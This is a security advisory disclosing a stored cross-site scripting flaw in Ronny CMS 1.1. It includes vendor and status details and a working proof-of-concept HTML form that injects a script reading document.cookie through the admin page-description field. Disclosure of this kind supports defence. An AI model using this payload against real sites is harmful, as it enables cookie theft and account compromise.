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XSS vulnerability in Ronny CMS

Vulnerability ID: HTB22630
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_ronny_cms_2.html
Product: Ronny CMS
Vendor: TO4KA Programming Team ( http://ronny-cms.ru/ ) 
Vulnerable Version: 1.1 r935 and probably prior versions
Vendor Notification: 29 September 2010 
Vulnerability Type: Stored XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium 
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/) 

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.

The vulnerability exists due to failure in the "modules/pages/admin/include/pages.php" script to properly sanitize user-supplied input in "pdesc" variable. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

An attacker can use browser to exploit this vulnerability. The following PoC is available:

<form action="http://host/pages/admin/index.php?op=editPage1"; method="post" enctype="multipart/form-data" >

<input type="hidden" name="pid" value="0" />
<input type="hidden" name="pname" value="Page name" />
<input type="hidden" name="purl" value="main" />
<input type="hidden" name="ptemplate" value="index" />
<input type="hidden" name="porder" value="0" />
<input type="hidden" name="ptext" value="Ronny CMS page text" />
<input type="hidden" name="pfile"; filename="" />
<input type="hidden" name="pdesc" value='page description"><script>alert(document.cookie)</script>' />
<input type="hidden" name="pkeywords" value="page metas" />
<input type="hidden" name="ptags" value="" />
<input type="hidden" name="update_pid" value="1" />
<input type="submit" id="btn" name="submit" value="SAVE" />